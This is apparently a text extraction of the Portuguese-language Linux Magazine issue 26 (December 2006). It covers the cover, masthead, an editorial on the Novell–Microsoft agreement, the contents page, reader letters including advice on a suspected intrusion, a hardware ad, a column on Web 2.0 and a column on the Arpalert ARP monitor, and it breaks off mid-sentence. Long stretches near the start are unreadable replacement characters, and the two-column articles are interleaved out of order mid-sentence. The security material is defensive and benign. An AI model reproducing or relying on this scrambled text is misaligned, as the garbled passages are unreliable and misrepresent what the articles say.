12/2006
CEAGESP & LINUX p.26 Uma união frutífera em prol da economia
CEZAR TAURION p.30 O código aberto é mais seguro, apesar dos mitos
CURSO LPI p.55 Primeiro fascículo do curso LPI-1
00026 exemplar de
A REVISTA DO PROFISSIONAL DE TI
WEB 2.0
WEB 2.0
ven d a p ro i b i d a 9 771806 942009
# 26
Assinante
R$ 13,90 € 7,50
# 26
Linux Magazine
Dezembro 2006
#26 12/06
p.31
CONHEÇA A NOVA WEB, MAIS INTERATIVA, E VEJA COMO DESENVOLVER SEUS PRÓPRIOS APLICATIVOS WEB SOBRE ESSES PRINCÍPIOS
AJAX
» Ajax: A tecnologia da nova Web p.34 WIKI
» Wikis na sua empresa: documentação eficiente p.38
APTANA
» IDE dedicada ao Ajax com o Aptana p.42
FISH PORT–KNOCKING
PORT-KNOCKING p.48
SMART
Segurança extrema nas portas do servidor
SEGURANÇA p.66
LPI-1
Seguindo os passos de uma invasão
SAMBA PERL PHP
VEJA TAMBÉM NESTA EDIÇÃO: » Gerenciamento de pacotes inteligente com o Smart p.52 » Eliminando vírus ao acessar arquivos p.62 » XML fácil com PHP p.75 » Proteja seu fórum contra o spam usando Perl p.70
http://supertuxbr.blogspot.com
WWW.LINUXMAGAZINE.COM.BR
�������������������������� �������� ����������������� ���������
��������� ���������������� ��������
���������� ���������������� ��������
�������
������������������� ���������������������������� �������������������������������
������������������������������� ���������������������������� �������������������
����������� ����������������� ���������
������������������ ���������������������� ���������������������
�����
���������� ������ ����
����
� ������ ������
���������������
����� �������������
���� �����
�������������������������������
������������� � ������������������������ � ����������������������������� � ����� � ������ � ����� � �������� � �����
�����������
�������������
����
������������������������������������ ������������������������������������ �������������������������������������� ������������������������������������� ������������������������������� ��������������������������������������� ��������������� ���� ������������������������������� ����������������������� ���� ������������������������ �������������� ����
��������� ������������������������ ����������������������������������
��������������������� ��������������������������������� �����������������������������������
������������������������� ����������������������������������� ���� ������������������������������������ ���� ���������������������������� ���� ��������������������������������� ���� ��������������������������� ���� ������������������������
��������������������
�����������������
���������������
������������������������������
����� ��������������������������������� �������������������
���������������������������
������������������
��������������������������������������������������� ���� �������������������������������
��������������
����� ��� ����������������������� ����������������������� �����������������������������
� �� ������ �� � �������� ���������
��� ������ �� � ������ �� � ��������
�������������
����������
�����������������������
������������������������
���������������������������
���������������������������������
�������������������
��������������������� ���������������������
��������������������������
��������������������������� ������������������������������
����������������������������������
��������������������
���������������������������������
������������������������
����������
������������������������ ����������������������������������
����������������
����� �������������������������������
����� ������������������������������� ���������������
���
����������
��
������������
�����
����������������
�������
����������������������������������������
���
������������������������������������������������������������������
����������������
�������������������������
���������������������
�������
����������
�
�����������
��������������������������������������������������� �������������������������������������������������������� ������������������������������������������������� �����������������������������������������������������
�
� ������ � � ������ � ������� € �����
� � �� � � � � � � � � � � � � � � � � � � � � � � �
� �� ���� �� �� � �������� � ��������
���
�������������
��������������������
�������������������������
�����������������������
�����������������������������������
������������������� ���������������
������������������������ ���������������������������
��������� ��� ������ �� ��������� ���������
����������������������
����
���������������������
����������������������������������
����������������
�����������������
����������������������������������������� ���������������������������
������������
��������������
� ����� � ����� ���� � ����� � ����� � �����
������������������������������������������������������ �������������������������������������������������������������
��
���� ����� �����
� ��
�������� ���������������� ���������
���������������������� ������������������������� ��������������������� �������������������������������
�����
�����
��������� ������� �� ���������
������������������
����������������������
������������������������ ���� ����������������������������� ������������������������
�
������������������
�������������������������� ������������������������ ����������������������
�����
�����������������������
���������������������������������
���
�������������������������
������� € �����
����������������
���������������������
������������������
�
� ������ � � ������ �
��������������������������
���������������������� ���������������������������� ���������������������������
��������������������������������
�����������
���������������
����� ����������������������������������� ��������������������������� ���������������������������������
��� ������ �� ������� �� ���������
����������������������
������������������������
���
������������������������������������
���������������������
�������������������������
���������������
�������������������������������
����������������������������
����������������������
�������������
���������������������������
�����
�����
� � �� � � � � � � � � � � � � � � � � � � � � � � �
��������� ������� �� ���������
� � �� � � � � � � � � � � � � � � � � � � � � � �
€ �����
� � �� � � � � � � � � � � � � � � � � � � � � � � �
���������
� � �� � � � � � � � � � � � � � � � � � � � � � � �
������� ���������������� ���������
������������������������
������������������ ������������������������ ���������������������������������� ��������������������������������
� � �� � � � � � � � � � � � � � � � � � � � � � � �
http://supertuxbr.blogspot.com
� � �� � � � �� � � ��� � ���� � � � � � � � �
������������������������������������������������������������������� ��������������������������������
Expediente editorial
Direitos Autorais e Marcas Registradas © 2004 - 2006: Linux New Media do Brasil Editora Ltda. Distribuição: Distmag Impressão e Acabamento: Parma ISSN 1806-9428 Impresso no Brasil
INSTITUTO VERIFICADOR DE CIRCULAÇÃO
em processo de filiação
Dividir para conquistar
EDITORIAL
Diretor Editorial Rafael Peregrino da Silva peregrino@linuxmagazine.com.br Coordenador Editorial e Diretor de Arte Luciano Hagge Dias lhagge@linuxmagazine.com.br Editores Tadeu Carmona tcarmona@linuxmagazine.com.br Pablo Hess phess@linuxmagazine.com.br Tradução e Revisão Livea Marchiori lmarchiori@linuxnewmedia.com.br Design da Capa Luciano Hagge Dias lhagge@linuxmagazine.com.br Centros de Competência Centro de Competência em Software: Oliver Frommel ofrommel@linux-magazine.com Centro de Competência em Hardware: Mirko Dölle mdoelle@linux-magazine.com Centro de Competência em Redes e Segurança: Achim Leitner aleitner@linux-magazine.com Correspondentes & Colaboradores Andreas Kneib, Augusto Campos, Avi Alkalay, Carsten Schnober, Cezar Taurion, Charly Kühnast, Flávio do Carmo Júnior, Florian Osses, Frank Wieduwilt, Klaus Knopper, Kristian Kissling, Luciano Siqueira, Marcel Hilzinger, Michael Schilli, Oliver Frommel, Pablo Dall’Oglio e Zack Brown. Diretor Comercial Claudio Bazzoli cbazzoli@linuxmagazine.com.br Anúncios: Claudio Bazzoli (Brasil) anuncios@linuxmagazine.com.br Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410 Osmund Schmidt (Alemanha, Áustria e Suíça) anzeigen@linux-magazine.com Brian Osborn (Outros países) ads@linux-magazine.com Assinaturas: www.linuxnewmedia.com.br assinaturas@linuxmagazine.com.br Na Internet: www.linuxmagazine.com.br – Brasil www.linux-magazin.de – Alemanha www.linux-magazine.com – Portal Mundial www.linuxmagazine.com.au – Austrália www.linux-magazine.ca – Canadá www.linux-magazine.es – Espanha www.linux-magazine.pl – Polônia www.linux-magazine.co.uk – Reino Unido www.linux-magazin.ro – Romênia Apesar de todos os cuidados possíveis terem sido tomados durante a produção desta revista, a editora não é responsável por eventuais imprecisões nela contidas ou por conseqüências que advenham de seu uso. A utilização de qualquer material da revista ocorre por conta e risco do leitor. Nenhum material pode ser reproduzido em qualquer meio, em parte ou no todo, sem permissão expressa da editora. Assume-se que qualquer correspondência recebida, tal como cartas, emails, faxes, fotografias, artigos e desenhos, são fornecidos para publicação ou licenciamento a terceiros de forma mundial não exclusiva pela Linux New Media do Brasil, a menos que explicitamente indicado. Linux é uma marca registrada de Linus Torvalds. Linux Magazine é publicada mensalmente por: Linux New Media do Brasil Editora Ltda. Av. Fagundes Filho, 134 Conj. 53 – Saúde 04304-010 – São Paulo – SP – Brasil Tel.: +55 (0)11 2161 5400 Fax: +55 (0)11 2161 5410
Prezado leitor, prezada leitora da Linux Magazine, muita controvérsia está no ar desde que a Novell e a Microsoft anunciaram um acordo em que Redmond, além de se comprometer a fazer uma série de investimentos em projetos de código aberto e em um laboratório de interoperabilidade com a Novell, “livra” usuários de Suse Linux – e somente de Suse Linux e produtos derivados – de processos relacionados ao uso de propriedade intelectual da Microsoft, qualquer que seja esse uso (leia-se: comercial ou não). Diz a sabedoria popular que “Quem dorme com morcegos acorda de cabeça para baixo”, ou “Quem dorme com cães acaba com pulgas”. Qualquer que seja o ditado escolhido, o fato é que, a curto prazo, o acordo só beneficia as duas empresas. Para o Linux e o Software Livre, não há nada de realmente novo sob o sol. Ou talvez haja: apenas a iminente mudança de categoria desse tipo de sistema no modo de encarar da Microsoft. No editorial da 4ª edição da Linux Magazine, citamos Gandhi: “Primeiro eles o ignoram. Em seguida o ridicularizam. Depois o combatem. Então você vence”. Fato positivo: estamos mais próximos de vencer. Fato negativo: haverá baixas. Procuremos minimizá-las. Há diversas teorias da conspiração envolvendo todo o caso, e não se deve descartá-las. Mas, antes de sair pregando o Apocalipse, cabe uma análise parcimoniosa de quem está ganhando ou perdendo com o acordo, em um primeiro momento. Com certeza, a Novell está ganhando no curto prazo: negócios que a Microsoft venha a fechar com clientes que queiram usar Linux vão “ganhar um Suse de presente”. No curto prazo, a percepção da existência do Linux no mercado corporativo também deve aumentar, uma vez que a Microsoft agora o tem no “seu” portfólio de produtos. A longo prazo, entretanto, devemos esperar que a gigante de Redmond dispare seu arsenal de patentes contra todos aqueles usuários e desenvolvedores de Linux que não estejam sob o “manto protetor” do acordo com a Novell. A Novell também perde no médio e longo prazos, pois deverá trabalhar para resolver todos os problemas de interoperabilidade que ocorrerem entre o Linux e o Windows®. E perde já, caso Eblen Morgen, advogado da Free Software Foundation, chegue à conclusão de que o acordo com a Microsoft viola a GPLv2. Os resultados seriam uma catástrofe para a empresa, já que inviabilizariam a inclusão de qualquer programa livre no Suse Linux e em seus derivados. Quem quer que ganhe ou perca, o fato é que o mundo não é mais o mesmo de antes do acordo. Vozes proféticas entoam o canto da aquisição da Novell pela Microsoft em um futuro não muito distante, o que achamos plenamente plausível. A entrada da Microsoft no mercado Linux não poderia ser melhor para a empresa, que, desta forma, possuiria o único Linux “legalizado”, chave para uma nova tentativa de abraçar, estender e extingüir...
Rafael Peregrino da Silva Diretor Editorial
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
3
ÍNDICE
CAPA A segunda revolução
31
As páginas web modernas se diferenciam fortemente daqueles velhos conhecidos monstros estáticos. Elas oferecem pontos de encontro sociais no espaço virtual e aplicativos completos via Internet: está nascendo a Web 2.0. Interatividade instantânea
34
Modificar textos diretamente na página web? Arrastar e soltar de minifiguras na própria galeria de fotos? Com o AJAX, páginas interativas não são problema. Serviço rápido
38
Para a documentação de um pequeno projeto ou coleta de informações, não é preciso um wiki pesado, com banco de dados. Basta uma pequena solução, que utiliza simples arquivos de texto para armazenar conteúdo. Aptana
42
Usuários do Eclipse podem ficar felizes: com o Aptana, existe uma confortável Gui externa para o desenvolvimento da Web 2.0, que é baseada em Eclipse e usa as populares bibliotecas Javascript.
http://supertuxbr.blogspot.com 4
http://www.linuxmagazine.com.br
Linux Magazine 26 | ÍNDICE
COLUNAS Augusto Campos Charly Kühnast Klaus Knopper Zack Brown
TUTORIAL 10 12 14 16
Quem bate? Algumas portas de rede em seus servidores devem ficar constantemente fechadas para evitar que bisbilhoteiros tentem abri-las. Com uma batida secreta, a entrada se revela.
48
Fique esperto! O gerenciador de pacotes é um dos componentes centrais de qualquer sistema Linux. Se seu sistema de gerenciamento de pacotes não for confiável, ou mesmo que seja, vale a pena conferir essa alternativa.
52
NOTÍCIAS Segurança ➧ PHP
18
➧ ClamAV ➧ pam_Idap ➧ Mutt ➧ ImageMagick e GraphicsMagick ➧ PostgreSQL ➧ Wireshark
LPI nível 1: Aula 1 55 Começando a série de estudos para a certificação LPI nível 1, veremos os tópicos 101 e 102. Os tópicos e objetivos estão organizados conforme o determinado pelo próprio Linux Professional Institute.
➧ Drivers aceleradores Nvidia ➧ XIM ➧ Asterisk ➧ Procmail Geral ➧ Lançado o Linux Developer Network
20
➧ Debian e o Software não-Livre ➧ Aniversário e nova versão do BrOffice.org ➧ Presente da Adobe
SYSADMIN Proteção dançante A verificação de vírus em tempo real no servidor é uma solução elegante e eficiente para a proteção de clientes Windows®. Conheça algumas ferramentas e técnicas para antivírus em tempo real com o Samba.
62
Na trilha do invasor 66 O IDS informa que algo está errado. Você nota que a máquina está com comportamento inesperado. Vamos descobrir se houve uma invasão, seguir sua rota e descobrir a motivação do invasor.
➧ Shuttleworth ajuda KDE ➧ Lançado o GoboLinux 013 ➧ Smartphone com Linux
PROGRAMAÇÃO
CORPORATE Notícias ➧ Microsoft e Novell selam acordo
22
➧ Oracle lança distribuição Linux ➧ Microsoft apóia PHP
70
Combinação perfeita 75 A manipulação de arquivos XML é de suma importância no desenvolvimento de aplicações, seja para o armazenamento de arquivos de configuração, de dados reais, ou mesmo para o intercâmbio de informações entre diferentes aplicações. Use as funções SimpleXML do PHP 5 para tratar arquivos XML.
➧ Novo ERP livre ➧ Sun libera o código do Java sob GPL ➧ LPI nível 3 lançada no Brasil Entrevista: CEAGESP Coluna: Cezar Taurion
Pérola contra o spam Os spammers não simplesmente enviam emails. Eles exploram fóruns de discussão e blogs, deixando mensagens cheias de links para atrair os mecanismos de busca. Um script Perl consegue limpar a bagunça.
26 30
ANÁLISE Mais fácil que pescaria 46 A Fish shell facilita imensamente o uso do console, com diversas facilidades que nenhuma outra shell jamais usou. Essa é uma grande ajuda para quem ainda tem medo da linha de comando.
SERVIÇOS Editorial Emails Linux.local Eventos Índice de anunciantes Preview
03 06 78 80 80 82
http://supertuxbr.blogspot.com Linux Magazine #26 | Dezembro de 2006
5
Emails para o editor
✎ Propaganda pró-Linux
Sempre gostei de computadores e me considero uma pessoa abençoada, haja vista a velocidade com que consigo aprender coisas relacionadas com informática e computadores. Não tenho paixão por softwares, pois creio que tudo tem sua utilidade. Sempre utilizei o Windows®, Office, Turbo Pascal, Turbo C++, Winzip, Outlook Express e tantos outros softwares da plataforma Windows. Acho que o Windows tem falhas como qualquer outro software. Não pensem que um programa é perfeito simplesmente porque seu código-fonte é aberto. Trabalho com desenvolvimento de software, e sei o que falo. Também não pretendo fazer uma defesa veemente do Windows. Só desejo relatar minha experiência com o Linux e o mundo não-Windows. Há algum tempo, ganhei de um amigo um CD do Slackware 9.0, com uma espécie de aposta. Se eu conseguisse instalar esse sistema que eu desconhecia, e que meu amigo dizia ser dificílimo de instalar, ganharia cem reais. Com uma rápida pesquisa na Internet, aprendi a criar partições e configurar o Lilo, a placa de vídeo, a placa de som e segui em frente com a instalação. Depois de perder uma partição pouco importante do Windows na primeira tentativa de instalação, repeti o processo e, na segunda vez, consegui particionar o disco e instalar o sistema básico. Na terceira tentativa, fui bem sucedido. Configurei o X, a placa de som, fax-modem... Enfim, em pouco mais de um dia fui capaz de fazer funcionar um sistema operacional considerado difícil. De lá para cá experimentei vários “sabores” de Linux, até que resolvi adotar o Ubuntu por ele se basear no De-
u c.h ww . sx –w ro ne g je nja
Se você tem dúvidas sobre o mundo Linux, críticas ou sugestões que possam ajudar a melhorar a nossa revista, escreva para o seguinte endereço: cartas@linuxmagazine.com.br. Devido ao volume de correspondência, é impossível responder a todas as dúvidas sobre aplicativos, configurações e problemas de hardware que chegam à Redação, mas garantimos que elas são lidas e analisadas. As mais interessantes são publicadas nesta seção.
sa
EMAILS
Permissão de Escrita
bian. O surpreendente é que isso tudo aconteceu há apenas dois meses. O que estou tentando passar para os leitores é que eles não devem falar mal do Windows, e sim falar bem do Linux, pois assim vamos quebrar a resistência das pessoas a experimentar o Linux. Acompanho as notícias do Linux há muito tempo, mas sempre resisti à idéia de instalá-lo devido à atitude radical de alguns usuários desse sistema. Só embarquei nessa idéia por causa do “desafio” que meu amigo colocou, além da remuneração, e acabei gostando do sistema, sendo que já uso mais o Ubuntu do que o Windows. Nos últimos dois meses, tive bastante progresso, mas ainda há muito a aprender. Lindolfo Silveira Kemmerich São José dos Pinhais, PR
✎ Possível invasão
Hoje eu estava usando o meu desktop com o Open Suse 10.1, que está redondinho, quando notei algo estranho: eu havia acabado de copiar 40 GB de arquivos de uma outra máquina (com o Open Suse 10.0) que eu uso como servidor FTP. Reparei que o uso da CPU estava alto, e então entrei no Ksysguard para ver quem a estava ocupando. Para minha surpresa, era o usuário Nobody que estava usando o "find". Quando eu estava pensando em matar o processo, eis que a lista de processos do Ksysguard me mostra o mesmo “nobody” usando o comando “su”. Acredito que fui invadido, mesmo com o firewall ativo, sem nenhum serviço que permita login não local e sem servidor algum (é apenas uma estação de trabalho), e isso tudo
http://supertuxbr.blogspot.com 6
http://www.linuxmagazine.com.br
SEJA LIBRIX NA RUA, SEJA LIBRIX EM CASA, SEJA LIBRIX NO TRABALHO.
A solução completa.
Agora, além do Librix (Linux da Itautec), a sua empresa pode contar com o melhor e mais estável pacote de hardware e software do mercado, testado e homologado pela Itautec.
É mais segurança, porque a Itautec oferece suporte técnico especializado via internet ou pelo telefone, serviços de tuning e configuração e ainda atendimento nacional on site.
Toda a liberdade que você precisa para trabalhar com mais mobilidade, usando a internet sem fio, e ainda operar com software livre.
Tem alta tecnologia para os aplicativos como editor de textos, planilha eletrônica, editor de imagens e apresentações. É mais facilidade e maior flexibilidade no seu dia-a-dia. Na hora de trabalhar, não se sinta preso. Seja Librix.
DPZ
Foto ilustrativa.
• Monitor LCD de 17” multimídia incluso • Gravador de DVD
Itautec InfoWay Minitorre Código da oferta: IN539L
IDEAL PARA ENTRETENIMENTO.
• Processador Intel® Celeron® D 315 (256 KB L2 cache, 2.26 GHz, 533 MHz) • Librix - Distribuição Linux Itautec • 512 MB de memória • Monitor LCD de 17”multimídia • HD 80 GB • Floppy • DVD-RW (gravador de DVD) • Placa de vídeo integrada • Placa de rede 10/100 integrada • Fax/Modem 56 Kbps • Teclado e mouse • 1 ano de garantia balcão*
R$
1.799,90
à vista
ou 10x R$ 179,99 sem juros Consulte ofertas especiais com garantias diferenciadas.
www.itautecshop.com.br CO M P R E D I R E TA M E N T E D O FA B R I C A N T E
PRESENTE EM MAIS DE 2.700 CIDADES.
0800 121 444
De 2ª a 6ª, das 8h às 20h. Sábado, das 9h às 18h. Domingo, das 9h às 15h.
http://supertuxbr.blogspot.com Oferta válida até 7/12/2006 ou enquanto durar o estoque.Celeron, Celeron Inside, Centrino, o logotipo Centrino, Core Inside, Intel, o logotipo Intel, Intel Core, Intel Inside, o logotipo Intel Inside, Intel Viiv, Intel vPro, Itanium, Itanium Inside, Pentium, Pentium Inside,Xeon e Xeon Inside são marcas comerciais ou marcas registradas da Intel Corporation ou de suas subsidiárias nos Estados Unidos ou em outros países.Consulte nossa Central de Atendimento para informações sobre outras condições de financiamento para pessoa física ou jurídica pelo telefone 0800-121-444.A velocidade de comunicação de 56 Kbps depende e pode variar de acordo com o tipo e a qualidade da linha telefônica utilizada.*Garantia balcão de um ano para partes, peças e serviços. Para possibilitar o acesso à internet são necessários uma linha telefônica ou banda larga e um provedor à sua escolha. Preço com impostos inclusos para São Paulo. Frete não incluso. Demais características técnicas e de comercialização estão disponíveis em nosso site e no Televendas. Fica ressalvada eventual retificação da oferta aqui veiculada. Quantidade: 10 unidades. Empresa/produto beneficiado pela Lei de Informática. Foto meramente ilustrativa.
EMAILS | cartas@linuxmagazine.com.br
atrás de um roteador com todas as portas fechadas! Como alguém poderia ter passado por todo o aparato de segurança do Open Suse 10.1? E agora, o que devo fazer? Reformatar e instalar tudo de novo? Confesso que estou com a confiança no Suse abalada. Como evitar que isso aconteça de novo, e como monitorar invasões? Tassini Caro Tassini, como você mesmo mostrou, o aparato de segurança no seu caso é bastante forte. Embora cada um dos mecanismos em uso não garanta a invulnerabilidade (já que o único computador seguro é aquele que está desligado), a presença de todos eles em conjunto ajudaria a afugentar os interessados em invadir máquinas pessoais. Em geral, quem invade esse tipo de máquina não são os experts em fraudes eletrônicas, e sim os adolescentes delinqüentes com excesso de tempo ocioso, apelidados de script kiddies. O Suse Linux, por ser amigável, realiza muitas tarefas sem perguntar ao usuário, pois seus desenvolvedores organizam o sistema para que o usuário não precise conhecer todas as suas nuances. Não somente o Suse, mas praticamente todas as distribuições Linux utilizam o sistema cron para agendar tarefas repetitivas, como a faxina nos arquivos de registro (logrotate), a limpeza de arquivos temporários, ou a compilação de uma lista de arquivos para buscas mais velozes (slocate). Buscando entre as tarefas agendadas pelo sistema cron em um sistema Suse 10.0, encontramos o arquivo /etc/cron. daily/suse.de-clean-tmp, que utiliza o comando find para buscar arquivos mais antigos que um determinado limite e apagá-los. Levando em consideração o fato de que a maioria das tarefas executadas sem interação com o usuário costuma ser executada pelo usuário nobody, que não possui o direito a executar login no sistema, podemos ao menos supor que o processo faminto por CPU, no seu caso, seja uma das tarefas agendadas. Portanto, sugiro que você mesmo examine os arquivos alojados nos diretórios /etc/cron. em busca de scripts que utilizem o comando find e, se for o caso, elimine esse agendamento do sistema. Uma última ressalva cabe a sua afirmação de que nenhum servidor estava em uso, pois no Linux há diversos processos que, mesmo em máquinas desconectadas da rede, utilizam um servidor. É claro que imaginamos que seu firewall esteja protegendo eficientemente essas eventuais portas abertas por esses serviços, porém consideramos importante esclarecer essa afirmação. Recomendamos que você acompanhe o relato de uma invasão na matéria “Na trilha do invasor”, à página 66 desta edição, como uma forma de identificar intrusões em sua própria máquina. ■
✎ Código legado
Na empresa onde trabalho, atualmente temos um sistema legado que foi desenvolvido em Joiner e utiliza dbf, tudo isso rodando em SCO Unix. Eu gostaria de saber se existe alguma maneira de fazer isso ser executado em Linux. Já utilizamos a distribuição Red Hat para outros sistemas com banco de dados Oracle. Rogério Carneiro Caro Rogério, bancos de dados que utilizam o formato DBF podem ser abertos nos principais bancos de dados disponíveis para Linux, como MySQL e PostgreSQL, por exemplo. A di-
ficuldade maior, nesse caso, é o aplicativo desenvolvido em Joiner, uma linguagem baseada em xBase, assim como o Clipper. Existe um produto comercial que possibilita a compilação de código xBase multiplataforma, incluindo o Linux. Esse software é o Flagship, produzido pela alemã Multisoft. Na página do produto, www.fship.com, você encontra informações sobre a versão de avaliação (gratuita por 30 dias), e também sobre todas as outras versões do Flagship. Está em andamento também o desenvolvimento de um compilador Clipper e xBase gratuito e de código aberto, chamado CLIP. Sua página (http://www.itk.ru/english/index.shtml) contém documentação em inglês e russo. A última versão do software é bastante recente, tendo sido liberada no último dia 1 de novembro. Infelizmente, não há informações sobre o uso de código Joiner nesse compilador. ■
✎ Bibliotecas C
Estou aprendendo a programar na linguagem C com o uso do GCC. Porém, estou enfrentando problemas com bibliotecas. Como posso descobrir quais bibliotecas contêm a função para o código que quero usar? Já procurei a resposta a essa pergunta nas edições anteriores da Linux Magazine, porém não encontrei nada. Tony Caro Tony, infelizmente não existe uma resposta simples à sua pergunta, pois não há qualquer convenção que atrele o arquivo de cabeçalho ao nome da biblioteca. O cabeçalho math.h, por exemplo, utiliza uma biblioteca chamada simplesmente m. Seria interessante para os desenvolvedores que a documentação das bibliotecas mencionasse essa conexão, ou, no mínimo, que ela fosse citada no arquivo de cabeçalho como um comentário, por exemplo. Existe uma instrução #pragma que os cabeçalhos podem utilizar para indicar a biblioteca associada, mas ela é específica para cada compilador, e não tem suporte por parte do GCC. Portanto, isso é determinado de forma individual em cada caso. Sinto muito. ■
✎ Resolução das imagens
Primeiramente, quero dizer que aprecio muito a Linux Magazine. Sou leitor assíduo da versão impressa. Porém, eu gostaria de informá-los que a resolução das figuras contidas nos PDFs disponibilizados não é nada boa. Especificamente os screenshots são ilegíveis. Acho isso uma pena, pois esse tipo de problema é fácil de resolver. Pedro Andrade, São Paulo, SP Caro Pedro, muito obrigado pelo elogio. A questão com as figuras em arquivos PDF é o tamanho final do arquivo. O uso de maiores resoluções leva a um aumento também no tamanho do arquivo. Se aumentássemos a resolução das figuras incluídas nos PDFs on-line, dificultaríamos o acesso por parte de nossos leitores, especialmente aqueles que utilizam conexão discada, o que não é, de forma alguma, desejável. Já experimentamos diferentes configurações dos programas que geram esses arquivos, na tentativa de otimizar a qualidade das imagens, mantendo o menor tamanho possível para os documentos, e utilizamos a combinação que julgamos ser a mais adequada. Contudo, podemos perfeitamente continuar testando outras combinações, lembrando que o objetivo sempre será obtermos o equilíbrio entre qualidade e tamanho. ■
http://supertuxbr.blogspot.com 8
http://www.linuxmagazine.com.br
http://supertuxbr.blogspot.com
Por que a Web 2.0 interessa ao administrador de redes?
COLUNA
Augusto Campos Indo além da moda para ver o que está por baixo do capô.
A
Web 2.0 é um prolongamento natural dos conceitos que o Código Aberto ajudou a popularizar, e interessa profundamente a todos os que têm no sangue (e na carreira) a administração de redes e de sistemas. Por ser um conceito muito amplo e difuso, e ter se popularizado muito rapidamente, muitas vezes o “fenômeno” Web 2.0 é associado à bolha .com, efeito de mercado que explodiu no final da década de 1990, levando consigo os sonhos e os investimentos de muita gente.
consigo os seus dados. Cansou do Google Groups? Exporte a base de dados de assinantes do seu grupo e leve-a para um novo provedor de sua preferência. Desistiu do Google Reader? Exporte a lista dos feeds RSS que você assina, em formato OPML, e importe-a em um novo leitor que você escolher. E assim por diante. Outro aspecto político importante é a forma de faturamento: são raros os serviços bem-sucedidos da Web 2.0 que cobram alguma coisa do seu usuário final. Você usa Wikipédia, Flickr, Gmail, vários editores de texto e de planilhas on-line, YouTube, Technorati e outros serviços populares sem desembolsar um centavo, e ainda assim os seus mantenedores conseguem faturar graças a uma série de modelos de negócio adaptados a essa nova realidade – embora nem todos eles sejam lucrativos. Por não faturar diretamente a partir do bolso do usuário, as barreiras para a colaboração entre serviços diferentes se reduzem ainda mais. Para completar, existe a questão da aderência a padrões abertos. Muito da tecnologia por trás da Web 2.0 é implementada de forma a aderir a padrões abertos, em geral disponíveis em sistemas livres nas diversas camadas do modelo, como o Apache, MySQL, PostgreSQL, Firefox e muitos outros. Padrões que parecem uma sopa de letrinhas, como SOAP, ECMAScript, XML e RSS, por serem abertos, trazem para o desktop livre as versões atualizadas de muitas aplicações que anteriormente costumavam estar disponíveis apenas para o ambiente proprietário. E por que isso é importante para nós, administradores de sistemas? Simples: a Web 2.0 está deslocando de volta Do ponto de vista do mercado, é cedo para dizer se es- para o servidor o “cérebro” dos aplicativos, que ao longo tamos vendo o auge de outra bolha ou não, mas isso é um das últimas duas décadas estava indo cada vez mais na tema para outras revistas e colunistas. Quero aproveitar o direção da CPU do usuário final. E para administrar a tema desta edição para expor minha opinião sobre por que carga e o nível de disponibilidade desses serviços emia Web 2.0 é importante não apenas para usuários, marque- nentemente centralizados, voltam a ser cada vez mais teiros e desenvolvedores, mas também para os administra- necessários os talentos profissionais de administradores dores de sistemas e especialmente para a comunidade livre competentes e preparados. – apesar de todo o preconceito e precaução naturais pela E a turma do Software Livre leva vantagem: é até dispensável falar da hegemonia do Apache nesses serviços, mas excessiva ênfase associada aos serviços da Web 2.0. Em primeiro lugar, vamos considerar os aspectos mais você sabia que o MySQL é adotado por nomes famosos da “políticos” da questão. A Web 2.0 tende a incluir muito mais Web 2.0, como YouTube, Flickr, Technorati, FeedBurner, abertura quanto ao uso dos serviços e conteúdos, reduzindo Wikipédia, Digg, LiveJournal e del.icio.us? Pense nisso em muito a tendência de serviços on-line anteriores que antes de criticar a Web 2.0 novamente. ;-) ■ procuravam ao máximo gerar dependência e barreiras de saída aos seus usuários. Para ficar apenas em um exemplo, O autor basta perceber a facilidade com que se pode exportar dados da sua conta de serviços do Google, um dos campeões da Augusto César Campos é administraWeb 2.0: em praticamente todos os locais em que isso faz dor de TI e, desde 1996, mantém o site sentido, há opções para exportar as suas bases de dados em BR-linux.org, que cobre a cena do Software Livre no Brasil e no mundo. um formato “transparente” (tipicamente CSV), facilitando a vida inclusive de quem quer abandonar o serviço, mas levar
A Web 2.0 está deslocando de volta para o servidor o “cérebro” dos aplicativos, que ao longo das últimas duas décadas estava indo cada vez mais na direção da CPU do usuário final.
http://supertuxbr.blogspot.com 10
http://www.linuxmagazine.com.br
http://supertuxbr.blogspot.com
Quem vigia o ARP?
COLUNA
Charly Kühnast É comum a política corporativa de proibir a conexão de hardware não-autorizado à rede da empresa, inclusive com pesadas penas em caso de descumprimento. Concordando ou não com isso, como se descobre que alguém está tentando ligar um laptop ilegal à sua Ethernet?
M
inha escolha para um fiel cão de guarda é o Arpalert [1]. Seu criador Thierry Fournier recomenda o seguinte encanto para soltar a fera na selva:
./configure --prefix=/usr/local make make install
Essa série de comandos instala o programa em /usr/ configuração arpalert.conf em
local/sbin, e o arquivo de /usr/local/etc/arpalert.
uma impressora e um roteador WLAN. Esses dados foram gravados no arquivo /usr/local/var/lib/arpalert/arpalert.leases sob o formato MAC IP. Como se tratava de uma rede pequena, eu tinha bastante certeza de que o Arpalert descobrira todos os endereços relevantes após um curto período. Saí do programa e depois copiei o arquivo de endereços, arpalert.leases, para /usr/local/etc/arpalert/maclist. allow, antes de reiniciar o programa. A partir de agora, o Arpalert mostrará uma mensagem no console, ou criará uma entrada nos registros, sempre que detetar um endereço que não esteja especificado em maclist.allow. Para testar isso, liguei outra máquina, e rapidamente fui alertado da presença do “invasor” da rede. O endereço IP é 0.0.0.0 porque, nesse ponto, o computador não foi servido pelo daemon DHCP. Eu poderia usar a opção -e para fazer com que o Arpalert executasse um script, que por sua vez me enviaria um email ou até mesmo faria diretamente alterações mais drásticas, como modificar minhas regras de filtro de pacotes.
As coisas começaram a acontecer bastante rápido: meu cão de guarda detectou os endereços MAC das quatro máquinas numa rápida sucessão. OConclusões Arpalert se saiu muito bem em minha pequena Em meus experimentos iniciais, decidi usar uma rede que me permitisse grande visibilidade, e então usei minha rede doméstica. Estou no fim de semana, minha esposa foi à biblioteca local, então minha rede não deve passar de quatro ou cinco máquinas. Iniciei o Arpalert assim: /usr/local/sbin/arpalert
Depois, esperei para ver o que aconteceria. A ferramenta rapidamente deduziu que eu queria usar a eth0; bem adivinhado, já que é a única interface de rede da máquina. Se você tiver mais de um adaptador de rede, talvez prefira ajudar o programa especificando a opção -i, que aponta para a interface correta. Num primeiro momento, deixei de fora o parâmetro que usa o modo daemon, -d – no entanto, ele é necessário para se monitorar na tela o que o Arpalert está fazendo. As coisas começaram a acontecer bastante rápido: meu cão de guarda detectou os endereços MAC das quatro máquinas numa rápida sucessão, incluindo
